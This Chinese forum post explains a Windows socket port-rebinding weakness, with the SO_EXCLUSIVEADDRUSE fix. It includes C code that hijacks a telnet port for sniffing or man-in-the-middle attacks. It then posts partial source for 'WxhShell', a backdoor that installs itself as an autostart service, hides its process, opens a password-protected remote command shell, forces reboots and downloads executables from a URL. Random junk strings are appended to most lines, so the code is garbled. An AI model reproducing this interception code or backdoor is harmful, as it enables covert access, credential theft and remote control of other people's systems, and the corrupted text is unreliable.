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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C<7J5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '%~zu]f'  
97&6iTYA  
  saddr.sin_family = AF_INET; |LjCtm)@+  
<T&$1m{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kO9yei  
CRx:3u!:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M,{F/Yu  
:g\qj? o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d6n6= [*  
lA ,%'+-  
  这意味着什么?意味着可以进行如下的攻击: 4t+88e  
U$J]^-AS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |zUDu\MZ{  
i&KbzOY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |Y99s)2&N  
v EX <9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VEpQT Qp  
n/ 8fv~zU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AKWw36lm  
Gs9jX/ #  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u*U?VZ5  
Y{S/A*X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m[7a~-3:J  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R.fRQ>rI  
. =+7H`A  
  #include %8-S>'g'  
  #include CkflEmfe  
  #include #&/*ll)  
  #include    iN)@Cu7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Gmc"3L  
  int main() :,u+[0-S  
  { F 4h EfO3  
  WORD wVersionRequested; p;H1,E:Re#  
  DWORD ret; q<UqGj7#   
  WSADATA wsaData; S xgY q  
  BOOL val; Q2 edS|  
  SOCKADDR_IN saddr; ]#qdA(Kl  
  SOCKADDR_IN scaddr; C8jZcs#4  
  int err; uI%[1`2N-  
  SOCKET s; l&yR-FJ7KY  
  SOCKET sc; <)&ykcB  
  int caddsize; mB :lp=c`  
  HANDLE mt; (+U!# T]'D  
  DWORD tid;   xpnnWHdaq  
  wVersionRequested = MAKEWORD( 2, 2 ); %NBD^g F  
  err = WSAStartup( wVersionRequested, &wsaData ); PNG'"7O  
  if ( err != 0 ) { 8[Qw8z5-  
  printf("error!WSAStartup failed!\n"); xv ja  
  return -1; L%<1C \k  
  } i a|F  
  saddr.sin_family = AF_INET; zz9.OnZ~  
   Vy?w,E0^:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BkJcT  
;F:(5GBi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y>o#Hq&qM  
  saddr.sin_port = htons(23); 5_O.p3$tV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eu4x{NmQ  
  { GphG/C (  
  printf("error!socket failed!\n"); &sKYO<6K }  
  return -1; '=ZE*nGC  
  } FD6|>G  
  val = TRUE; x=Ru@nK;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1TVTP2&Rd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oT_,k}LIX  
  { OW.ckYt%  
  printf("error!setsockopt failed!\n"); l nZ=< T  
  return -1; v ;9s  
  } W,<Vr2J[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m&x0,8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QO k%Q$^G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B;@yOm=  
5M(?_qj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FxUH ?%w  
  { 3Q#VD)  
  ret=GetLastError(); B845BSmh  
  printf("error!bind failed!\n"); JrQN-e!  
  return -1; s)N1@RBR  
  } a0n F U  
  listen(s,2); sv[)?1S  
  while(1) w_-{$8|  
  { AV'>  
  caddsize = sizeof(scaddr); q4Z \y  
  //接受连接请求 J3'"-,Hv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !1l2KW<be  
  if(sc!=INVALID_SOCKET) <ya3|ycnS  
  { *7R3EUUk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5p>a]gp  
  if(mt==NULL) z(]*'0)P  
  { k`&mHSk-  
  printf("Thread Creat Failed!\n"); (;n|>l?*  
  break; o0/03O  
  } Qh*|mW  
  } z[';HJ0O;  
  CloseHandle(mt); @#V{@@3$  
  } X=JSqO6V9  
  closesocket(s); YcGqT2oLP  
  WSACleanup(); =thgNMDm"  
  return 0; -0kwS4Hx2  
  }   w7 QIKsI0  
  DWORD WINAPI ClientThread(LPVOID lpParam) @NVq .z  
  { z!1j8o2  
  SOCKET ss = (SOCKET)lpParam; V`%m~#Me  
  SOCKET sc; $+mmqc8  
  unsigned char buf[4096]; ~E!"YkIr  
  SOCKADDR_IN saddr; -ZuzJAA  
  long num; e L(T  
  DWORD val; +<iw|vr  
  DWORD ret; hcBfau;r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0VbZBLe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *s!8BwiE  
  saddr.sin_family = AF_INET; _ x7Vyy5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q~]R#S  
  saddr.sin_port = htons(23); 9xSAWKr,l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5~sJ$5<,  
  { 'UB<;6wy  
  printf("error!socket failed!\n"); mr/^lnO  
  return -1; 1xx-}AIH#  
  } jeW0;Cz J~  
  val = 100; fer'2(G?W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]y(#]Tw\  
  { X{ Nif G  
  ret = GetLastError(); "NJ!A  
  return -1; L*5&hPU  
  } Og,,s{\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u'N'<(\k  
  { 9 ROKueP  
  ret = GetLastError(); $<y b~z7J  
  return -1; kL&^/([9  
  } ou(9Qf zN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k}BNFv8  
  { W=|B3}C?  
  printf("error!socket connect failed!\n"); pa+ y(!G  
  closesocket(sc); 6 o+zhi;E  
  closesocket(ss); P#yS]F/  
  return -1; >#kzPYsp  
  } q<7Nz] Td  
  while(1) yx-{}Yj^  
  { vI+PL(T@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zX5p'8-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X&Mc NO6"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sQ`8L+oY  
  num = recv(ss,buf,4096,0); O<+C$J|  
  if(num>0) _h.[I8xgYG  
  send(sc,buf,num,0); eLt6Hg)s`9  
  else if(num==0) hsl Js^  
  break; bFTWuM  
  num = recv(sc,buf,4096,0); YZoH{p9f  
  if(num>0) yEz2F3[ S  
  send(ss,buf,num,0); NfN#q:w1  
  else if(num==0) $GYy[-.`  
  break; H_$"]iQ  
  } xWV_Do)z  
  closesocket(ss); N),Zb^~nw  
  closesocket(sc); Bz24U wcZ  
  return 0 ; \V&ly/\ )  
  } 7{b|+0W  
ikY=}  
a|fyo#L  
========================================================== H\ NO4=  
7tyn?t0n  
下边附上一个代码,,WXhSHELL nVYh1@yLy  
G q:7d]c~T  
========================================================== ^i\zMMR  
!E*-\}[  
#include "stdafx.h" (C. 1'<]  
Tn-H8;Hg  
#include <stdio.h> XL"e<P;t  
#include <string.h> }we"IqLb  
#include <windows.h> Jw86P=  
#include <winsock2.h> Nl(Aa5:!  
#include <winsvc.h> 21;n0E  
#include <urlmon.h> $ D45X<  
jm*v0kNy  
#pragma comment (lib, "Ws2_32.lib") &QE* V  
#pragma comment (lib, "urlmon.lib") VR_1cwKBM  
*EDzj&  
#define MAX_USER   100 // 最大客户端连接数 - BocWq\  
#define BUF_SOCK   200 // sock buffer %i^%D  
#define KEY_BUFF   255 // 输入 buffer TM"i9a? ;  
MLp5Y\8*  
#define REBOOT     0   // 重启 jOe %_R  
#define SHUTDOWN   1   // 关机 d$>1 2>>  
"r|O /   
#define DEF_PORT   5000 // 监听端口 D9Q%*DLd$_  
SR\#>Qwx_  
#define REG_LEN     16   // 注册表键长度 y[}BFUy  
#define SVC_LEN     80   // NT服务名长度 QALMF rWH  
d2 d^XMe!  
// 从dll定义API "7gHn0e>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mWigy` V^~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V# Wd   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'r'uR5jR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b9:E0/6   
tnTr &o#  
// wxhshell配置信息 qC]D9 A  
struct WSCFG { %u!#f<"[  
  int ws_port;         // 监听端口 J|K~a?&vN  
  char ws_passstr[REG_LEN]; // 口令 D@0eYX4s  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Dun<\  
  char ws_regname[REG_LEN]; // 注册表键名 j7i[z>:Y  
  char ws_svcname[REG_LEN]; // 服务名 n[{o~VN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PAqziq.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B]kz3FF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8IVKS>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jIEK[vJ`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aeg5ij-]u@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QPGssQR6  
esxU44  
}; e+2!)w)[  
J]Y." hi  
// default Wxhshell configuration y/Nvts2!C  
struct WSCFG wscfg={DEF_PORT, Z|3l2ucl  
    "xuhuanlingzhe", bluC P|  
    1, *X,vu2(I-=  
    "Wxhshell", fOrqY,P'  
    "Wxhshell", n /rQ*hr  
            "WxhShell Service", f9#B(4Tgi  
    "Wrsky Windows CmdShell Service", BPC$ v\a  
    "Please Input Your Password: ", <}B]f1zX  
  1, <]"aP1+C  
  "http://www.wrsky.com/wxhshell.exe", `33+OW  
  "Wxhshell.exe" ,Kdvt@vle  
    }; WT!%FQ9  
/(vT49(]  
// 消息定义模块 x!Wl&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5vY1 XZt{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y5(`/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \alRBHqE  
char *msg_ws_ext="\n\rExit."; PN<Y&/fB  
char *msg_ws_end="\n\rQuit."; DGp'Xx_8  
char *msg_ws_boot="\n\rReboot..."; 7 +?  
char *msg_ws_poff="\n\rShutdown..."; A*@!tz<  
char *msg_ws_down="\n\rSave to "; lK}F>6^\  
eZf-i1lJ  
char *msg_ws_err="\n\rErr!"; ?2Bp^3ytJ  
char *msg_ws_ok="\n\rOK!"; `qX'9e3VP+  
BEu9gu  
char ExeFile[MAX_PATH]; '"=C^f  
int nUser = 0; =TyN"0@  
HANDLE handles[MAX_USER]; *}yW8i}36  
int OsIsNt; 2W|j K  
I:='LH,  
SERVICE_STATUS       serviceStatus; m3.d!~U\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &oNy~l o  
P3(u+UI3  
// 函数声明 }1'C!]j  
int Install(void); a_FJNzL  
int Uninstall(void); v!40>[?|p  
int DownloadFile(char *sURL, SOCKET wsh); -rU *)0PR  
int Boot(int flag); v%B^\S3)  
void HideProc(void); e8P |eK  
int GetOsVer(void); nuXaZRH  
int Wxhshell(SOCKET wsl); [f^~Z'TIN/  
void TalkWithClient(void *cs); b) .@ xS  
int CmdShell(SOCKET sock); )|\72Z~eq  
int StartFromService(void); Lv#DIQ8y  
int StartWxhshell(LPSTR lpCmdLine); 3\6jzD  
:0#!=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eF:6k qg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G4ZeO:r  
:m-HHWMN  
// 数据结构和表定义 RYmk6w!w  
SERVICE_TABLE_ENTRY DispatchTable[] = !t[X/iu  
{ UB?a-jGZ K  
{wscfg.ws_svcname, NTServiceMain}, :aco$ZNH5  
{NULL, NULL} R1A!ob  
}; Y#C=ku  
+5 @8't  
// 自我安装 <A+Yo3|7  
int Install(void) @l BR;B"  
{ ~9 K4]5K-  
  char svExeFile[MAX_PATH]; 7nfQ=?XNK  
  HKEY key; H@'Y>^z?  
  strcpy(svExeFile,ExeFile); M="%NxuS  
c5^i5de  
// 如果是win9x系统,修改注册表设为自启动 4B!]%Mw;c  
if(!OsIsNt) {  03_tt7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rl<~:,D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~(G]-__B<  
  RegCloseKey(key); F|Jo|02  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A*E$_N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g9p#v$V  
  RegCloseKey(key); \tU91 VIj  
  return 0; 1+Ja4`o,iS  
    } 0=7C-A1(D  
  } Xg#Dbf4  
} e6#^4Y/+`  
else { .2Gn)dZU  
d\xh>o  
// 如果是NT以上系统,安装为系统服务 -KbT[]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cv~t~  
if (schSCManager!=0) Ca]vK'(  
{ 9A)(K,  
  SC_HANDLE schService = CreateService =as]>?<  
  ( rVFAwbR  
  schSCManager, N!r@M."  
  wscfg.ws_svcname, e-\J!E'1F  
  wscfg.ws_svcdisp, aFd ,   
  SERVICE_ALL_ACCESS, <86upS6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ym8\q:N(R  
  SERVICE_AUTO_START, ; #e-pkV  
  SERVICE_ERROR_NORMAL, r'k-*I  
  svExeFile, !dSY?1>U<  
  NULL, 8_mdh+  
  NULL, ^MDBJ0 I.  
  NULL, %e:VeP~  
  NULL, Pgs4/  
  NULL {.;MsE  
  ); !f]F'h8  
  if (schService!=0) |OuZaCJG  
  { qvhTc6oH  
  CloseServiceHandle(schService); Kl\A&O*{  
  CloseServiceHandle(schSCManager); l% K9Ke  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cM.q^{d`  
  strcat(svExeFile,wscfg.ws_svcname); K|E}Ni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F(}d|z@@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BX2&tQSp  
  RegCloseKey(key); ;sCX_`t0E  
  return 0; Cm(Hu  
    } y! 7;Z~"  
  } 'I*F(4x  
  CloseServiceHandle(schSCManager); P[aB}<1f0  
} Vad(PS0  
} 5|&Sg}_  
.KTDQA\  
return 1; 9akCvY#Q  
} XR]]g+Z  
J4xt!RW!  
// 自我卸载 +TA(crD  
int Uninstall(void) ,Ix7Yg[  
{ +#,t  
  HKEY key; auaFP-$`f  
~\Fde^1  
if(!OsIsNt) { &I<R|a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W)$;T%u  
  RegDeleteValue(key,wscfg.ws_regname); o7&Z4(V  
  RegCloseKey(key); !5Z?D8dcx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Su6ZO'[)  
  RegDeleteValue(key,wscfg.ws_regname); :G,GHU'/78  
  RegCloseKey(key);  H[fD >  
  return 0; zxTm`Dh;[  
  } \d]&}`'4{f  
} U~!97,|ic  
}  FxD\F  
else { X NnsMl  
**dGK_^T0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mWta B>f  
if (schSCManager!=0) hFs0qPVY  
{ u,4,s[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,TeDJ\k  
  if (schService!=0) ^ D?;K8a-l  
  { _Ev"/ %  
  if(DeleteService(schService)!=0) { J+w"{ O  
  CloseServiceHandle(schService); {b7P1}>-*  
  CloseServiceHandle(schSCManager); XZJ}nXy  
  return 0; /$]dVvhX%  
  } pcoJ\&&W  
  CloseServiceHandle(schService); %t:1)]2  
  } (;V]3CtU*  
  CloseServiceHandle(schSCManager); _QkU,[E  
} rL&585  
} c|hKo[r)  
SDcD(G  
return 1; 3sHC1 +  
} HOtays,#<}  
daY^{u3  
// 从指定url下载文件 >{ne!  
int DownloadFile(char *sURL, SOCKET wsh) g6;O)b  
{ pG:FDlR~  
  HRESULT hr; IgR_p7['.  
char seps[]= "/"; ?gH[tN:=  
char *token; 0JKbp*H  
char *file; /p?h@6h@y  
char myURL[MAX_PATH]; R8O<} >3a  
char myFILE[MAX_PATH]; ~$YFfv>  
gXc&uR0S  
strcpy(myURL,sURL); I`p44}D3  
  token=strtok(myURL,seps); b;Q cBGwKT  
  while(token!=NULL) (:vY:-\ bO  
  { !>  
    file=token; %fK"g2:  
  token=strtok(NULL,seps); DyYl97+Z?  
  } J:5%ff~r\  
>c;q IP)Z  
GetCurrentDirectory(MAX_PATH,myFILE); J$]d%p_I  
strcat(myFILE, "\\"); 71w  
strcat(myFILE, file); 4}LGE>  
  send(wsh,myFILE,strlen(myFILE),0); ATPc ~f  
send(wsh,"...",3,0); %l5Uy??Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SN\;&(?G  
  if(hr==S_OK) =DcKHL(m  
return 0; yrE|cH'f0  
else )I$_wB!UV  
return 1; JG0TbM1(Bt  
9Z6O{ >  
} yngSD`b_P  
Q0Dw2>~_K  
// 系统电源模块 : R.,<DQM  
int Boot(int flag) %~}9#0h)  
{ fW <qp  
  HANDLE hToken; 7?Xfge%\  
  TOKEN_PRIVILEGES tkp; e9o(hL  
Cq}LKiu  
  if(OsIsNt) { "<txg%j\J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .' 3;Z'%"g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pU<->d;->  
    tkp.PrivilegeCount = 1; I>C;$Lp]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L+9a4/q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U3 ED3) D  
if(flag==REBOOT) { UXR$7<D+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pV:X_M6  
  return 0; M)i2)]F S  
} +wS?Z5%mU  
else { zT0FTAl ^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RVlC8uJ;P  
  return 0; MJ4+|riB  
} oypX.nye_  
  } ft?J|AG  
  else { pV<18CaJ  
if(flag==REBOOT) { . p<*n6E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q<wrO  
  return 0; =uMoX -  
} L&.9.Ll  
else { E{(7]Wri  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f*p=]]y  
  return 0; <Mxy&9}ic  
} `:R8~>p  
}  gX.4I;  
AdKv!Ta5b  
return 1; 1`X{$mxw  
} xpRQ"6  
AQ'~EbH(  
// win9x进程隐藏模块 #e{l:!uS\  
void HideProc(void) Kw"7M~  
{ o3qBRT0[R  
M,3sK!`>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vqJiMa j@Z  
  if ( hKernel != NULL ) 6- s/\  
  { m80QMosp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u\<z5O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l" *zr ;#  
    FreeLibrary(hKernel); 6rq:jvlx$  
  } ;[uJ~7e3  
yI)~- E.  
return; O F2*zU7M  
} 3K_J"B*7  
h/QZcA  
// 获取操作系统版本 (wo.OH  
int GetOsVer(void) |9@?8\   
{ >#)^4-e  
  OSVERSIONINFO winfo; !QSL8v@c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :BN qr[=b  
  GetVersionEx(&winfo); Y'DI@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZZX|MA!  
  return 1; 1<Qb"FN!2  
  else [59_n{S 1  
  return 0; K.JKE"j)d  
} %f*8JUE16  
?qO_t;:0>  
// 客户端句柄模块 Dc}-wnga  
int Wxhshell(SOCKET wsl) q~ T*R<S  
{ !Hr~B.f7  
  SOCKET wsh; &?#V*-;^  
  struct sockaddr_in client; '[I?G6  
  DWORD myID; 5,Mc` IIK1  
?|w>."F  
  while(nUser<MAX_USER) d3St Z~&r!  
{ `!K(P- yB?  
  int nSize=sizeof(client); 'W@X139zq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x32hO;  
  if(wsh==INVALID_SOCKET) return 1; #||^l_  
9h9 jS~h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6`J*{%mP  
if(handles[nUser]==0) ;1'X_tp  
  closesocket(wsh); >DP9S@W  
else :uSo 2d  
  nUser++; Uz} #.  
  } !NuiVC]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .-awl1 W  
9i;%(b{  
  return 0; N>/!e787OU  
} ;xS@-</:  
P\pHos  
// 关闭 socket 1~zzQ:jAZ  
void CloseIt(SOCKET wsh) K7 -AVMY  
{ 64fa0j~<*M  
closesocket(wsh); wa\Yc,R  
nUser--; qRZv[T%*Q  
ExitThread(0); mCb(B48]%X  
} %iPWg  
nQy.?*X  
// 客户端请求句柄 c>6dlWTqX  
void TalkWithClient(void *cs) G3 rTzMO  
{  _zvCc%  
K`{P/w  
  SOCKET wsh=(SOCKET)cs; ,.A@U*j  
  char pwd[SVC_LEN]; >-*rtiE  
  char cmd[KEY_BUFF]; 7l/.f SW  
char chr[1]; jhgS@g=@ZC  
int i,j; iyKAw   
6!*be|<&  
  while (nUser < MAX_USER) { IW?).%F  
xQ+UZc  
if(wscfg.ws_passstr) { X ^8@T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K!Te*?b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2Tec#eYe  
  //ZeroMemory(pwd,KEY_BUFF); SR!EQ<  
      i=0; _2xNio&  
  while(i<SVC_LEN) { LmWZ43Z"@  
S81% iz.n  
  // 设置超时 BZ* ',\o  
  fd_set FdRead; j)xRzImu  
  struct timeval TimeOut; Tsch:r S  
  FD_ZERO(&FdRead); n=J~Rssp  
  FD_SET(wsh,&FdRead); U*(/eEtd-  
  TimeOut.tv_sec=8; u atY:GSR  
  TimeOut.tv_usec=0; )eIC5>#.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BbsgZ4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 55q!2>Jh.  
Q]$gw,H"6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v3O+ ;4  
  pwd=chr[0]; 7^)8DwAl  
  if(chr[0]==0xd || chr[0]==0xa) { -<H\VT%98  
  pwd=0;  bi/ AQ^  
  break; FnxPM`Zx  
  } QOiPDu=8z  
  i++; v=5H,4UMA  
    } HVjN<HIqM  
Pt5"q3ec{T  
  // 如果是非法用户,关闭 socket G5*"P!@6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2^ uP[  
} 7.)kG}q]  
J>Pc@,y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PL} Wu=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yC\dM1X  
A.tXAOM(VW  
while(1) { 7>.d*?eao\  
3E9 )~$  
  ZeroMemory(cmd,KEY_BUFF); `(tVwX4  
IR JN  
      // 自动支持客户端 telnet标准   ,+2!&"zD  
  j=0; PWciD '!  
  while(j<KEY_BUFF) { 6`Hd)T5{w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gxnIur)  
  cmd[j]=chr[0]; }a O6%  
  if(chr[0]==0xa || chr[0]==0xd) { |BGB60}]f  
  cmd[j]=0; O|K-UTWH%  
  break; MrjgV+P}[  
  } 5"sd  
  j++; CWT#1L=  
    } ]2E#P.-!b  
+MZsL7%  
  // 下载文件 dCA| )  
  if(strstr(cmd,"http://")) { P* X^)R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .`p,pt;  
  if(DownloadFile(cmd,wsh)) _E %!5u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5PY4PT=G  
  else ;k ?Z,M:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Em3;`/C*+  
  } 7N:3  
  else { uA-1VwW+N  
5 w-Pq&q  
    switch(cmd[0]) { F $/7X~*  
  f \ E9u}  
  // 帮助 =/5^/vwgY  
  case '?': { hY5GNYDh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i~3\jD=<  
    break; ^4/   
  } cN%  r\  
  // 安装 )J^5?A  
  case 'i': { @7HHi~1JK  
    if(Install()) F8H4R7 8>;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =kzuU1s  
    else G&Fe2&5!w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rU4;yy*b  
    break; NF "|*S  
    } &?[g8A  
  // 卸载 #| pn,/  
  case 'r': { !;3hN$5  
    if(Uninstall()) Y`NwE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _D 9/,n$  
    else :6gRoMb]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h+rW%`B  
    break; C5Vlqc;  
    } ~3& *>H^U  
  // 显示 wxhshell 所在路径 V15/~  
  case 'p': { ^(kmFUV,Z  
    char svExeFile[MAX_PATH]; w#v-h3XcF  
    strcpy(svExeFile,"\n\r"); }j$tFFVi~  
      strcat(svExeFile,ExeFile); ZH)Jq^^RI  
        send(wsh,svExeFile,strlen(svExeFile),0); ^HhV ?Iqg  
    break; n\ 'PNB  
    } E3LEeXcLS  
  // 重启 %W}YtDf\  
  case 'b': { hbdB67,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mfn^v:Q#  
    if(Boot(REBOOT)) )%q!XM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw,|ZA4XH  
    else { 6E@TcN~ ,!  
    closesocket(wsh); A$g'/QM  
    ExitThread(0); j/t)=c  
    } T mK[^  
    break; :F8h}\a*  
    } \G0YLV~>P  
  // 关机 |.z4VJi4  
  case 'd': { {uDH-b(R  
